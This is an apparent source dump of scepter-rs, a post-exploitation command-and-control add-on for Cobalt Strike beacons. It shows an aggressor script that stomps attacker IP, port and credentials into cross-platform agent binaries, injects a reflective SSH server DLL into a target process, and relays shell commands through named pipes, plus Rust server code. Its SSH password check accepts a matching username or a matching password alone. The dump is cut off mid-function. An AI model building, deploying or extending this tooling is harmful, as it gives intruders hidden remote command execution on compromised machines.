| message.len() as u32, 154 | &mut bytes_written, 155 | std::ptr::null_mut(), 156 | ) 157 | }; 158 | 159 | if success == 0 { 160 | let err = unsafe { GetLastError() }; 161 | debug_println!("WriteFile failed: {}", err); 162 | unsafe { CloseHandle(h_output_pipe) }; 163 | return; 164 | } 165 | 166 | unsafe { 167 | FlushFileBuffers(h_output_pipe); 168 | } 169 | } 170 | 171 | /// Debug implementation of write_output. 172 | #[cfg(debug_assertions)] 173 | pub fn write_output(_h_output_pipe: HANDLE, data: &str) { 174 | debug_println!("{}", data); 175 | } 176 | -------------------------------------------------------------------------------- /scepter-rs.cna: -------------------------------------------------------------------------------- 1 | import beacon.CommandBuilder; 2 | 3 | global('$ssh_inited $server_dll_name $reading_inited $artifacts_inited $pipe_wait $arch_list $file_ext $pipe_output_name_final $agent_base_name $pipe_input_name_final $pipe_output_stomp_me_name $pipe_input_stomp_me_name $ssh_ip_stomp_me $ssh_ip_connect_stomp_me $ssh_port_stomp_me $ssh_username_stomp_me $ssh_password_stomp_me'); 4 | $ssh_inited = -1; 5 | $artifacts_inited = -1; 6 | $reading_inited = -1; 7 | 8 | println("[SCEPTER] You are now holding the Scepter.") 9 | 10 | # GLOBALS 11 | # _final are the names that are being stomped into the artifacts 12 | # _stomp_me_name are the original names in the artifacts that are going to be stomped in either by the globals or by user specified parameters. 13 | 14 | $pipe_output_name_final = "BigGasPipe_updater_00"; # Change the pipe name an reload the CNA for 'opsec', 25-bytes MAX 15 | $pipe_input_name_final = "BigGasPipe_updater_01"; # Change the pipe name an reload the CNA for 'opsec', 25-bytes MAX 16 | $interface_ip_final = "0.0.0.0"; # the server can be tightened down to a specific interface by changing this 17 | 18 | # Target strings that are stomped 19 | $pipe_output_stomp_me_name = "OUTPUT_PIPE_NAME_NO_CHANGE_PLS"; 20 | $pipe_input_stomp_me_name = "INPUT_PIPE_NAME_NO_CHANGE_PLS"; 21 | 22 | $ssh_ip_stomp_me = "999.999.999.999"; # interface IP, 0.0.0.0 by default 23 | $ssh_port_stomp_me = "99999"; 24 | 25 | $ssh_ip_connect_stomp_me = "888.888.888.888"; # this is the ip that gets stomped into the agent (ie the agent tries to connect to the address that's stomped over this) 26 | $ssh_username_stomp_me = "_________PLACEHOLDER_USERNAME_STRING_PLS_DO_NOT_CHANGE__________"; # username provided via beacon console 27 | $ssh_password_stomp_me = "_________PLACEHOLDER_PASSWORD_STRING_PLS_DO_NOT_CHANGE__________"; # password provided via becaon console 28 | 29 | $pipe_wait = 30000; # Custom timeout 30 | 31 | # 32 | # File names, you shouldn't have to change these unless you changed something in bin/ 33 | # 34 | $server_dll_name = "scepter_server.shc.windows.x64.dll"; # default name 35 | $bof_write_pipe_name = "bof_write_pipe.x64.o"; 36 | $agent_base_name = "scepter_agent"; 37 | 38 | # Declare the lists of strings 39 | $os_list = @("linux", "windows", "apple"); 40 | $arch_list = @("aarch64", "x64"); 41 | $file_ext = @("exe", "dll", "bin"); 42 | 43 | # $1 - string 44 | sub append_random { 45 | return $1 . rand(101); 46 | } 47 | 48 | # $1 - bytes where we are going to do the stoming 49 | # $2 - string we want to stomp 50 | # $3 - length of the string we want to stomp (for padding) 51 | # $4 - output string (the string that we're going to stomp with) 52 | sub stomp-str { 53 | local('$bytes $stomp_me_string $stomp_me_string_len $output_string $padded_output_string $padding_needed $null_padding'); 54 | $bytes = $1; 55 | $stomp_me_string = $2; 56 | $stomp_me_string_len = $3; 57 | $output_string = $4; 58 | 59 | if ($output_string is $null){ # if string we're stomping in is null, just stomp in null bytes 60 | $null_padding = ""; 61 | $i = 0; 62 | while ($i < $stomp_me_string_len) { 63 | $null_padding = $null_padding . chr(0); # Append an actual null byte 64 | $i = $i + 1; 65 | } 66 | 67 | $output_string = strrep($bytes, $stomp_me_string, $null_padding); 68 | return $output_string; 69 | } 70 | 71 | $padding_needed = $stomp_me_string_len - strlen($output_string); 72 | $padded_output_string = $output_string; 73 | 74 | if ($padding_needed > 0) { 75 | $null_padding = ""; 76 | $i = 0; 77 | while ($i < $padding_needed) { 78 | $null_padding = $null_padding . chr(0); # Append an actual null byte 79 | $i = $i + 1; 80 | } 81 | $padded_output_string = $output_string . $null_padding; 82 | } else if ($padding_needed < 0) { 83 | println("String of length " . strlen($output_string) . " is longer than max " . $stomp_me_string_len . " bytes!"); 84 | return; # Important to return if name is too long 85 | } 86 | # println("[SCEPTER] ORIGINAL STRING: " . $stomp_me_string); 87 | # println("[SCEPTER] NEW STRING: " . $output_string); 88 | 89 | # Now use $padded in strrep 90 | $output_string = strrep($bytes, $stomp_me_string, $padded_output_string); 91 | 92 | return $output_string; 93 | } 94 | 95 | # $1 - beacon id 96 | # $2 - target IP address 97 | # $3 - target port number 98 | # $4 - username 99 | # $5 - password 100 | alias scepter-generate-agents { 101 | local('$barch $beacon_id $pid $agent $agent_path $agent_path_out $rdll_path $rdll_path_out $target_ip $target_port $target_username $target_password $rdll $handle $actual_pipe_name $desired_length $null_padding $padding_needed $padded_pipe_name $bof_path $bof_path_out $bof_data'); 102 | $beacon_id = $1; 103 | $target_ip = $2; # ssh server ip 104 | $target_port = $3; # ssh server port 105 | $target_username = $4; 106 | $target_password = $5; 107 | 108 | if($target_ip is $null || $target_password is $null || $target_password is $null){ 109 | berror($1, "[SCEPTER] Invalid arguments"); 110 | return; 111 | } 112 | 113 | # Get current beacon info 114 | $barch = beacon_info($beacon_id, "barch"); 115 | 116 | if ($barch != "x64") { 117 | berror($1, "[SCEPTER] This script only supports x64 processes"); 118 | return; 119 | } 120 | 121 | if($artifacts_inited > 0){ 122 | berror($beacon_id , "[SCEPTER] Artifacts already initialized."); 123 | return; 124 | } 125 | 126 | # Add random number to the pipe names 127 | $pipe_input_name_final = append_random($pipe_input_name_final); 128 | $pipe_output_name_final = append_random($pipe_output_name_final); 129 | 130 | # All binaries are stored in bins/ 131 | 132 | # Build rdll path; This needs rework if you want to support x86 for whatever reason 133 | # The server must have the interface IP, PORT, username, password, input pipe and outputpipe names stomped in 134 | $rdll_path = getFileProper(script_resource("."), "bins", "x64", $server_dll_name); 135 | 136 | $rdll_path_out = getFileProper(script_resource("."), "out", "x64", $server_dll_name); 137 | 138 | # Build bof path; This needs rework if you want to support x86 for whatever reason 139 | $bof_path = getFileProper(script_resource("."), "bins", "x64", $bof_write_pipe_name); 140 | 141 | $bof_path_out = getFileProper(script_resource("."), "out", "x64", $bof_write_pipe_name); 142 | 143 | # ex path: bins/x64/scepter_agent.windows.x64.exe 144 | # bins//... 145 | foreach $arch_item ($arch_list) { 146 | foreach $os_item ($os_list) { 147 | foreach $ext_item ($file_ext) { 148 | $filename = $agent_base_name . "." . $os_item . "." . $arch_item . "." . $ext_item; 149 | $agent_path = getFileProper(script_resource("."), "bins", $arch_item, $filename); 150 | $agent_path_out = getFileProper(script_resource("."), "out", $arch_item, $filename); 151 | 152 | # println("[SCEPTER] Looking for: ". $agent_path); 153 | 154 | if ( -exists $agent_path ) { 155 | println("[SCEPTER] Found: " . $agent_path); 156 | 157 | # For all the agent files found, stomp in IP, PORT, username, and password 158 | 159 | # Get agent contents 160 | $handle = openf($agent_path); 161 | $agent = readb($handle, -1); 162 | 163 | # Close handle 164 | closef($handle); 165 | 166 | # Agent STOMP Username that we want to use to try to authenticate to the SSH server # 167 | # Now use $ssh_username_stomp_me in strrep 168 | $agent = stomp-str($agent, $ssh_username_stomp_me, "64", $target_username); 169 | 170 | # Agent STOMP Password that we want to use to try to authenticate to the SSH server # 171 | # Now use $ssh_password_stomp_me in strrep 172 | $agent = stomp-str($agent, $ssh_password_stomp_me, "64", $target_password); 173 | 174 | # Agent STOMP Port that will host the SSH Service 175 | $agent = stomp-str($agent, $ssh_port_stomp_me, "5", $target_port); 176 | 177 | # Agent use $ssh_ip_connect_stomp_me in strrep 178 | $agent = stomp-str($agent, $ssh_ip_connect_stomp_me, "15", $target_ip); 179 | 180 | # Open output handle 181 | $handle = openf(">" . $agent_path_out); 182 | 183 | # Write rdll back down 184 | writeb($handle, $agent); 185 | 186 | # Close handle 187 | closef($handle); 188 | } 189 | } 190 | } 191 | } 192 | 193 | # Resolve the output directories now as well 194 | 195 | # Get rdll contents 196 | $handle = openf($rdll_path); 197 | $rdll = readb($handle, -1); 198 | 199 | # Close handle 200 | closef($handle); 201 | 202 | # Now use $ssh_ip_stomp_me in strrep 203 | $rdll = stomp-str($rdll, $ssh_ip_stomp_me, "15", $interface_ip_final); 204 | 205 | # RDLL STOMP Username that we want to use to try to authenticate to the SSH server # 206 | # Now use $ssh_username_stomp_me in strrep 207 | $rdll = stomp-str($rdll, $ssh_username_stomp_me, "64", $target_username); 208 | 209 | # RDLL STOMP Password that we want to use to try to authenticate to the SSH server # 210 | # Now use $ssh_password_stomp_me in strrep 211 | $rdll = stomp-str($rdll, $ssh_password_stomp_me, "64", $target_password); 212 | 213 | # RDLL STOMP INPUT PIPE, this is the pipe we use to send commands that are forwarded to the rdll to the target # 214 | # Now use $pipe_input_stomp_me_name in strrep 215 | $rdll = stomp-str($rdll, $pipe_input_stomp_me_name, "29", $pipe_input_name_final); 216 | 217 | # RDLL STOMP OUTPUT PIPE, this is the pipe we use to send commands that are forwarded to the rdll to the target # 218 | # Now use $pipe_input_stomp_me_name in strrep 219 | $rdll = stomp-str($rdll, $pipe_output_stomp_me_name, "30", $pipe_output_name_final); 220 | 221 | # RDLL STOMP Port that will host the SSH Service 222 | $rdll = stomp-str($rdll, $ssh_port_stomp_me, "5", $target_port); 223 | 224 | println("[SCEPTER] Writing server dll: " . $rdll_path_out); 225 | 226 | # Open output handle 227 | $handle = openf(">" . $rdll_path_out); 228 | 229 | # Write rdll back down 230 | writeb($handle, $rdll); 231 | 232 | # Close handle 233 | closef($handle); 234 | 235 | # BOF STOMP INPUT PIPE, this is the pipe we use to send commands that are forwarded to the rdll to the target # 236 | # Get BOF contents 237 | $handle = openf($bof_path); 238 | $bof_data = readb($handle, -1); 239 | 240 | # Close handle 241 | closef($handle); 242 | 243 | # Now use $pipe_input_stomp_me_name in strrep 244 | $bof_data = stomp-str($bof_data, $pipe_input_stomp_me_name, "29", $pipe_input_name_final); 245 | 246 | # Open output handle 247 | $handle = openf(">" . $bof_path_out); 248 | 249 | # Write BOF back down 250 | writeb($handle, $bof_data); 251 | 252 | # Close handle 253 | closef($handle); 254 | 255 | $artifacts_inited = 1; 256 | 257 | println("[SCEPTER] Artifacts generated into " . getFileProper(script_resource(".")) . "out" . " directory."); 258 | } 259 | 260 | # $1 - beacon id 261 | # $2 - target IP address 262 | # $3 - target port number 263 | # $4 - username 264 | # $5 - password 265 | # $6 - process id of injection target (optional) 266 | alias scepter-init { 267 | local('$barch $beacon_id $pid $agent $agent_path $agent_path_out $rdll_path $rdll_path_out $target_ip $target_port $target_username $target_password $rdll $handle $actual_pipe_name $desired_length $null_padding $padding_needed $padded_pipe_name $bof_path $bof_path_out $bof_data'); 268 | $beacon_id = $1; 269 | $target_ip = $2; # ssh server ip 270 | $target_port = $3; # ssh server port 271 | $target_username = $4; 272 | $target_password = $5; 273 | $pid = $6; # optional PID 274 | 275 | if($target_ip is $null || $target_password is $null || $target_password is $null){ 276 | berror($1, "[SCEPTER] Invalid arguments"); 277 | return; 278 | } 279 | 280 | if($ssh_inited > 0){ 281 | berror($1, "[SCEPTER] SSH server is already initiated."); 282 | return; 283 | } 284 | 285 | # Get current beacon info 286 | $barch = beacon_info($beacon_id, "barch"); 287 | 288 | if ($barch != "x64") { 289 | berror($1, "[SCEPTER] This script only supports x64 processes"); 290 | return; 291 | } 292 | 293 | # If pid was not passed in, local injection 294 | if ($pid == $null){ 295 | $pid = beacon_info($beacon_id, "pid"); 296 | } 297 | 298 | blog($beacon_id, "[SCEPTER] Starting SSH server on " . $interface_ip_final . ":" . $target_port . " in process " . $pid . "."); 299 | blog($beacon_id, "[SCEPTER] Starting SSH clients ( " . getFileProper(script_resource("."), "out") . " ) will try to connect to " . $target_ip . ":" . $target_port . "."); 300 | 301 | # Add random number to the pipe names 302 | $pipe_input_name_final = append_random($pipe_input_name_final); 303 | $pipe_output_name_final = append_random($pipe_output_name_final); 304 | 305 | # All binaries are stored in bins/ 306 | 307 | # Build rdll path; This needs rework if you want to support x86 for whatever reason 308 | # The server must have the interface IP, PORT, username, password, input pipe and outputpipe names stomped in 309 | $rdll_path = getFileProper(script_resource("."), "bins", "x64", $server_dll_name); 310 | 311 | $rdll_path_out = getFileProper(script_resource("."), "out", "x64", $server_dll_name); 312 | 313 | # Build bof path; This needs rework if you want to support x86 for whatever reason 314 | $bof_path = getFileProper(script_resource("."), "bins", "x64", $bof_write_pipe_name); 315 | 316 | $bof_path_out = getFileProper(script_resource("."), "out", "x64", $bof_write_pipe_name); 317 | 318 | # ex path: bins/x64/scepter_agent.windows.x64.exe 319 | # bins//... 320 | foreach $arch_item ($arch_list) { 321 | foreach $os_item ($os_list) { 322 | foreach $ext_item ($file_ext) { 323 | $filename = $agent_base_name . "." . $os_item . "." . $arch_item . "." . $ext_item; 324 | $agent_path = getFileProper(script_resource("."), "bins", $arch_item, $filename); 325 | $agent_path_out = getFileProper(script_resource("."), "out", $arch_item, $filename); 326 | 327 | # println("[SCEPTER] Looking for: ". $agent_path); 328 | 329 | if ( -exists $agent_path ) { 330 | println("[SCEPTER] Found: " . $agent_path); 331 | 332 | # For all the agent files found, stomp in IP, PORT, username, and password 333 | 334 | # Get agent contents 335 | $handle = openf($agent_path); 336 | $agent = readb($handle, -1); 337 | 338 | # Close handle 339 | closef($handle); 340 | 341 | # Agent STOMP Username that we want to use to try to authenticate to the SSH server # 342 | # Now use $ssh_username_stomp_me in strrep 343 | $agent = stomp-str($agent, $ssh_username_stomp_me, "64", $target_username); 344 | 345 | # Agent STOMP Password that we want to use to try to authenticate to the SSH server # 346 | # Now use $ssh_password_stomp_me in strrep 347 | $agent = stomp-str($agent, $ssh_password_stomp_me, "64", $target_password); 348 | 349 | # Agent STOMP Port that will host the SSH Service 350 | $agent = stomp-str($agent, $ssh_port_stomp_me, "5", $target_port); 351 | 352 | # Agent use $ssh_ip_connect_stomp_me in strrep 353 | $agent = stomp-str($agent, $ssh_ip_connect_stomp_me, "15", $target_ip); 354 | 355 | # Open output handle 356 | $handle = openf(">" . $agent_path_out); 357 | 358 | # Write rdll back down 359 | writeb($handle, $agent); 360 | 361 | # Close handle 362 | closef($handle); 363 | } 364 | } 365 | } 366 | } 367 | 368 | # Resolve the output directories now as well 369 | 370 | # Get rdll contents 371 | $handle = openf($rdll_path); 372 | $rdll = readb($handle, -1); 373 | 374 | # Close handle 375 | closef($handle); 376 | 377 | # Now use $ssh_ip_stomp_me in strrep 378 | $rdll = stomp-str($rdll, $ssh_ip_stomp_me, "15", $interface_ip_final); 379 | 380 | # RDLL STOMP Username that we want to use to try to authenticate to the SSH server # 381 | # Now use $ssh_username_stomp_me in strrep 382 | $rdll = stomp-str($rdll, $ssh_username_stomp_me, "64", $target_username); 383 | 384 | # RDLL STOMP Password that we want to use to try to authenticate to the SSH server # 385 | # Now use $ssh_password_stomp_me in strrep 386 | $rdll = stomp-str($rdll, $ssh_password_stomp_me, "64", $target_password); 387 | 388 | # RDLL STOMP INPUT PIPE, this is the pipe we use to send commands that are forwarded to the rdll to the target # 389 | # Now use $pipe_input_stomp_me_name in strrep 390 | $rdll = stomp-str($rdll, $pipe_input_stomp_me_name, "29", $pipe_input_name_final); 391 | 392 | # RDLL STOMP OUTPUT PIPE, this is the pipe we use to send commands that are forwarded to the rdll to the target # 393 | # Now use $pipe_input_stomp_me_name in strrep 394 | $rdll = stomp-str($rdll, $pipe_output_stomp_me_name, "30", $pipe_output_name_final); 395 | 396 | # RDLL STOMP Port that will host the SSH Service 397 | $rdll = stomp-str($rdll, $ssh_port_stomp_me, "5", $target_port); 398 | 399 | println("[SCEPTER] Writing server dll: " . $rdll_path_out); 400 | 401 | # Open output handle 402 | $handle = openf(">" . $rdll_path_out); 403 | 404 | # Write rdll back down 405 | writeb($handle, $rdll); 406 | 407 | # Close handle 408 | closef($handle); 409 | 410 | # BOF STOMP INPUT PIPE, this is the pipe we use to send commands that are forwarded to the rdll to the target # 411 | # Get BOF contents 412 | $handle = openf($bof_path); 413 | $bof_data = readb($handle, -1); 414 | 415 | # Close handle 416 | closef($handle); 417 | 418 | # Now use $pipe_input_stomp_me_name in strrep 419 | $bof_data = stomp-str($bof_data, $pipe_input_stomp_me_name, "29", $pipe_input_name_final); 420 | 421 | # Open output handle 422 | $handle = openf(">" . $bof_path_out); 423 | 424 | # Write BOF back down 425 | writeb($handle, $bof_data); 426 | 427 | # Close handle 428 | closef($handle); 429 | 430 | # self-inject the dll 431 | bshinject($beacon_id, $pid, $barch, $rdll_path_out); 432 | 433 | $ssh_inited = 1; 434 | 435 | println("[SCEPTER] SSH server initiated."); 436 | } 437 | 438 | # $1 - beacon id 439 | # $2 - process id of injection target (optional) 440 | sub scepter-read { 441 | local('$barch $beacon_id $pid $cmd $builder $job_type $callback_type $description $job'); 442 | $beacon_id = $1; 443 | $pid = $2; # Optional pid 444 | $job_type = 40; 445 | $callback_type = 32; 446 | $description = "pipe read"; 447 | 448 | if($ssh_inited < 0){ 449 | berror($1, "[SCEPTER] You must init ssh first. Try: ssh-init "); 450 | return; 451 | } 452 | 453 | # Get current beacon info 454 | $barch = beacon_info($beacon_id, "barch"); 455 | 456 | if ($barch != "x64") { 457 | berror($1, "[SCEPTER] This script only supports x64 processes"); 458 | return; 459 | } 460 | 461 | # If pid was not passed in, local injection 462 | if ($pid == $null){ 463 | $pid = beacon_info($beacon_id, "pid"); 464 | } 465 | 466 | # Use command builder to read from pipe 467 | $builder = [new CommandBuilder]; 468 | [$builder setCommand: $job_type]; 469 | [$builder addInteger: parseNumber($pid)]; 470 | [$builder addShort: $callback_type]; 471 | [$builder addShort: $pipe_wait]; 472 | [$builder addLengthAndString: "\\\\.\\pipe\\" . $pipe_output_name_final]; 473 | [$builder addLengthAndString: $description]; 474 | $job = [$builder build]; 475 | call("beacons.task", $null, $beacon_id, cast($job, 'b')); 476 | } 477 | 478 | # $1 - beacon id 479 | # $2 - data to send to agent (shell command) 480 | alias scepter-exec { 481 | local('$bid $data $bof $args $bof_path $handle $bof_data'); 482 | $beacon_id = $1; 483 | $data = $2; 484 | 485 | if($ssh_inited < 0){ 486 | berror($beacon_id, "You must init ssh first. Try: ssh-init ") 487 | return; 488 | } 489 | 490 | $args = bof_pack($beacon_id, "z", "cmd:" . $data); 491 | 492 | # Build bof path; This needs rework if you want to support x86 for whatever reason 493 | $bof_path = getFileProper(script_resource("."), "out", "x64", $bof_write_pipe_name); 494 | 495 | # read in the right BOF file 496 | $handle = openf($bof_path); 497 | $bof_data = readb($handle, -1); 498 | closef($handle); 499 | 500 | # execute it. 501 | beacon_inline_execute($beacon_id, $bof_data, "go", $args); 502 | 503 | if($reading_inited < 0){ 504 | # give the bof a couple of seconds to write the data to the pipe 505 | 506 | bpause($beacon_id, 5 * 1000); 507 | 508 | # read from the output pipe 509 | scepter-read($beacon_id, $null); 510 | 511 | $reading_inited = 1; 512 | } 513 | } 514 | 515 | # $1 - beacon id 516 | alias scepter-exit { 517 | local('$bid $data $bof $args $bof_path $handle $bof_data'); 518 | $bid = $1; 519 | $data = "exit"; 520 | 521 | if($ssh_inited < 0){ 522 | berror($bid, "[SCEPTER] You must init ssh first. Try: ssh-init ") 523 | return; 524 | } 525 | 526 | $args = bof_pack($bid, "z", $data); 527 | 528 | # Build bof path; This needs rework if you want to support x86 for whatever reason 529 | $bof_path = getFileProper(script_resource("."), "out", "x64", $bof_write_pipe_name); 530 | 531 | # read in the right BOF file 532 | $handle = openf($bof_path); 533 | $bof_data = readb($handle, -1); 534 | closef($handle); 535 | 536 | # execute it. 537 | beacon_inline_execute($bid, $bof_data, "go", $args); 538 | 539 | $ssh_inited = -1; 540 | $reading_inited = -1; 541 | } 542 | 543 | # -------------------- 544 | # Register the command 545 | # -------------------- 546 | beacon_command_group( 547 | "scepter-rs", 548 | "User-Defined SSH C2 Interface", 549 | "User-implemented reflective DLL that provdes SSH Server functionality so that Agents can connect to the server.\nUsers can then interact with those agents via custom commands in the Beacon console." 550 | ); 551 | 552 | beacon_command_register( 553 | "scepter-init", 554 | "(64-bit only) Initializes RDLL and BOF to start SSH Scepter Server on the target host, and builds Agents for use.", 555 | "scepter-init \nex: scepter-init 192.0.0.1 2222 my_username my_password 12345", 556 | "scepter-rs" 557 | ); 558 | 559 | beacon_command_register( 560 | "scepter-exec", 561 | "(64-bit only) Uses a bof to write a command to a pipe that is read by a user implemented reflective DLL and sent to the ssh target.", 562 | "scepter-exec \nex:scepter-exec whoami", 563 | "scepter-rs" 564 | ); 565 | 566 | beacon_command_register( 567 | "scepter-exit", 568 | "(64-bit only) Uses a bof to write the exit command to a pipe that is read by a user implemented reflective DLL. SSH Server exits.", 569 | "scepter-exit", 570 | "scepter-rs" 571 | ); 572 | 573 | beacon_command_register( 574 | "scepter-generate-agents", 575 | "(64-bit only) Builds Agent binaries with configuration specified in .cna without starting the SSH Scepter Server.", 576 | "scepter-generate-agents \nex: scepter-generate-agents 192.0.0.1 2222 my_username my_password", 577 | "scepter-rs" 578 | ); -------------------------------------------------------------------------------- /scepter-server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "scepter-server" 3 | version = "0.1.0" 4 | edition = "2024" 5 | 6 | [lib] 7 | name = "scepter_server" 8 | crate-type = ["cdylib", "rlib"] 9 | path = "src/lib.rs" 10 | 11 | [[bin]] 12 | name = "scepter-server" 13 | path = "src/main.rs" 14 | 15 | [profile.release] 16 | strip = "symbols" 17 | panic = "abort" 18 | opt-level = "z" 19 | codegen-units = 1 20 | lto = true 21 | 22 | [dependencies] 23 | scepter-common = { path = "../scepter-common" } 24 | windows-sys = {version = "0.59.0", features = ["default", "Win32_System_Threading"]} 25 | russh = "0.52.1" 26 | rand_core = "0.6.4" 27 | tokio = "1.45.0" 28 | debug_print = "1.0.0" 29 | -------------------------------------------------------------------------------- /scepter-server/src/lib.rs: -------------------------------------------------------------------------------- 1 | #![no_main] 2 | #![allow(dead_code)] 3 | #![feature(stmt_expr_attributes)] 4 | 5 | use std::collections::HashMap; 6 | use std::os::raw::c_void; 7 | use std::ptr::null_mut; 8 | use windows_sys::Win32::Foundation::{BOOL, CloseHandle, HANDLE}; 9 | 10 | use debug_print::{debug_eprintln, debug_println}; 11 | use rand_core::OsRng; 12 | use russh::server::{Msg, Server as _, Session}; 13 | use russh::*; 14 | use scepter_common::pipe::{initialize_input_pipe, initialize_output_pipe, write_output}; 15 | pub use scepter_common::*; 16 | use std::sync::Arc; 17 | use std::thread; 18 | use tokio::runtime::Runtime; 19 | use tokio::sync::Mutex; 20 | use windows_sys::Win32::System::Threading::{CreateThread, INFINITE, WaitForSingleObject, TerminateThread, GetCurrentThread}; 21 | 22 | static mut G_H_INPUT_PIPE: HANDLE = 0 as HANDLE; 23 | static mut G_H_OUTPUT_PIPE: HANDLE = 0 as HANDLE; 24 | 25 | #[unsafe(no_mangle)] 26 | #[tokio::main(flavor = "current_thread")] 27 | pub async fn dll_main() { 28 | debug_println!("Initialized handles"); 29 | debug_println!("Starting server"); 30 | 31 | let config = russh::server::Config { 32 | inactivity_timeout: Some(std::time::Duration::from_secs(3600)), 33 | auth_rejection_time: std::time::Duration::from_secs(10), 34 | auth_rejection_time_initial: Some(std::time::Duration::from_secs(0)), 35 | keys: vec![ 36 | // TODO can probably make this a verifiable component so agent only talks to intended ssh server 37 | russh::keys::PrivateKey::random(&mut OsRng, russh::keys::Algorithm::Ed25519).unwrap(), 38 | ], 39 | preferred: Preferred { 40 | ..Preferred::default() 41 | }, 42 | ..Default::default() 43 | }; 44 | let config = Arc::new(config); 45 | let sh = Server { 46 | clients: Arc::new(Mutex::new(HashMap::new())), 47 | id: 0, 48 | }; 49 | 50 | let interface_ip = String::from_utf8_lossy(SSH_INTERFACE_IPV4_ADDRESS) 51 | .to_string() 52 | .trim_matches(char::from(0)) 53 | .to_string(); 54 | // Clone sh if needed (if it's a type that implements Clone) 55 | let mut sh_clone = sh.clone(); 56 | 57 | debug_println!("Starting command loop"); 58 | 59 | // Create a new thread with its own tokio runtime 60 | thread::spawn(move || { 61 | debug_println!("Initializing handles"); 62 | 63 | // Initialize output pipe 64 | unsafe { 65 | G_H_INPUT_PIPE = initialize_input_pipe().unwrap_or_else(|| { 66 | debug_eprintln!("Failed to initialize input pipe."); 67 | TerminateThread(GetCurrentThread(), 1); 68 | 0 as HANDLE // Rust silliness 69 | }); 70 | } 71 | 72 | // Initialize output pipe 73 | unsafe { 74 | G_H_OUTPUT_PIPE = initialize_output_pipe().unwrap_or_else(|| { 75 | debug_eprintln!("Failed to initialize input pipe."); 76 | TerminateThread(GetCurrentThread(), 1); 77 | 0 as HANDLE // Rust silliness 78 | }); 79 | } 80 | 81 | // Create a new tokio runtime for this thread 82 | let rt = Runtime::new().unwrap(); 83 | 84 | // Clone the object if needed 85 | let mut sh_clone = sh.clone(); 86 | 87 | // Execute the async function on this thread's runtime 88 | rt.block_on(async { 89 | sh_clone.command_loop().await; 90 | }); 91 | }); 92 | 93 | let interface_port = str::from_utf8(SSH_PORT) 94 | .unwrap() 95 | .trim_matches(char::from(0)) 96 | .parse::() 97 | .unwrap(); 98 | debug_println!("Starting server on {}:{}", interface_ip, interface_port); 99 | sh_clone 100 | .run_on_address(config, (interface_ip, interface_port)) 101 | .await 102 | .unwrap(); 103 | 104 | debug_println!("Exiting server") 105 | } 106 | 107 | #[derive(Clone)] 108 | struct Server { 109 | clients: Arc>>, 110 | id: usize, 111 | } 112 | 113 | impl Server { 114 | pub async fn post(&mut self, data: CryptoVec) { 115 | let mut clients = self.clients.lock().await; 116 | debug_println!("Broadcasting to {} clients", clients.len()); 117 | for (id, (channel, s)) in clients.iter_mut() { 118 | debug_println!("Sending to client {}", id); 119 | let _ = match s.data(*channel, data.clone()).await { 120 | Ok(_) => { 121 | debug_println!("Successfully sent to client {}", id); 122 | id 123 | } 124 | Err(e) => { 125 | debug_eprintln!("Failed to send to client {}: {:?}", id, e); 126 | id 127 | } 128 | }; 129 | } 130 | } 131 | 132 | #[cfg(not(debug_assertions))] 133 | /// Reads from input pipe and sends that shit to the agent 134 | pub async fn command_loop(&mut self) { 135 | loop { 136 | let input = match unsafe { pipe::read_input(G_H_INPUT_PIPE) } { 137 | None => continue, 138 | Some(s) => s, 139 | }; 140 | let input = input.trim_matches(char::from(0)); 141 | if input.eq("exit") { 142 | std::process::exit(0); 143 | } 144 | if input.starts_with("cmd:") || input.starts_with("bof:") { 145 | debug_println!("Sending command to agent: {}", input); 146 | self.post(CryptoVec::from(input)).await; 147 | } 148 | } 149 | } 150 | 151 | #[cfg(debug_assertions)] 152 | /// Lets you run commands to validate execution from agent 153 | pub async fn command_loop(&mut self) { 154 | loop { 155 | let mut input = String::new(); 156 | 157 | match std::io::stdin().read_line(&mut input) { 158 | Ok(_) => debug_println!("You typed: {}", input.trim()), 159 | Err(err) => debug_eprintln!("Error reading line: {}", err), 160 | } 161 | let input = input.trim_matches(char::from(0)); 162 | if input.eq("exit") { 163 | std::process::exit(0); 164 | } 165 | if input.starts_with("cmd:") || input.starts_with("bof:") { 166 | self.post(CryptoVec::from(input)).await; 167 | } 168 | } 169 | } 170 | } 171 | 172 | impl server::Server for Server { 173 | type Handler = Self; 174 | fn new_client(&mut self, addr: Option) -> Self { 175 | let id = self.id; 176 | self.id += 1; // Increment ID for next client 177 | 178 | let mut s = self.clone(); 179 | s.id = id; // Set this handler's ID 180 | debug_println!("New client connection with ID: {}", id); 181 | unsafe { 182 | if G_H_OUTPUT_PIPE != 0 as HANDLE && addr.is_some() { 183 | let ip = addr.unwrap().ip().to_string(); 184 | let port = addr.unwrap().port(); 185 | write_output( 186 | G_H_OUTPUT_PIPE, 187 | &format!("Connection established {}:{}.\r\n", ip, port), 188 | ); 189 | } 190 | } 191 | s 192 | } 193 | fn handle_session_error(&mut self, _error: ::Error) { 194 | debug_eprintln!("Session error: {:#?}", _error); 195 | } 196 | } 197 | 198 | impl server::Handler for Server { 199 | type Error = russh::Error; 200 | 201 | async fn auth_password(&mut self, user: &str, pass: &str) -> Result { 202 | // Believe it or not, this is military-grade security 203 | let username = String::from_utf8_lossy(&*USERNAME) 204 | .to_string() 205 | .trim_matches(char::from(0)) 206 | .to_string(); 207 | 208 | let password = String::from_utf8_lossy(&*PASSWORD) 209 | .to_string() 210 | .trim_matches(char::from(0)) 211 | .to_string(); 212 | 213 | let input_username = String::from_utf8_lossy(user.as_bytes()) 214 | .to_string() 215 | .trim_matches(char::from(0)) 216 | .to_string(); 217 | 218 | let input_password = String::from_utf8_lossy(pass.as_bytes()) 219 | .to_string() 220 | .trim_matches(char::from(0)) 221 | .to_string(); 222 | debug_println!("Authenticating {}:{}", input_username, input_password); 223 | debug_println!("Expected {}:{}", username, password); 224 | if input_username.eq(&username) || input_password.eq(&password) { 225 | return Ok(server::Auth::Accept); 226 | } 227 | 228 | Err(russh::Error::NotAuthenticated) 229 | } 230 | 231 | async fn channel_open_session( 232 | &mut self, 233 | channel: Channel, 234 | session: &mut Session, 235 | ) -> Result { 236 | debug_println!( 237 | "Client {} opened a session channel with ID: {}", 238 | self.id, 239 | channel.id() 240 | ); 241 | 242 | // Store client in the HashMap 243 | let mut clients = self.clients.lock().await; 244 | clients.insert(self.id, (channel.id(), session.handle())); 245 | 246 | debug_println!("Client registered. Total clients: {}", clients.len()); 247 | for (id, _) in clients.iter() { 248 | debug_println!(" Client ID: {}", id); 249 | } 250 | 251 | // Send initial welcome message 252 | let welcome = CryptoVec::from("Connection established. Waiting for shell request.\r\n"); 253 | session.data(channel.id(), 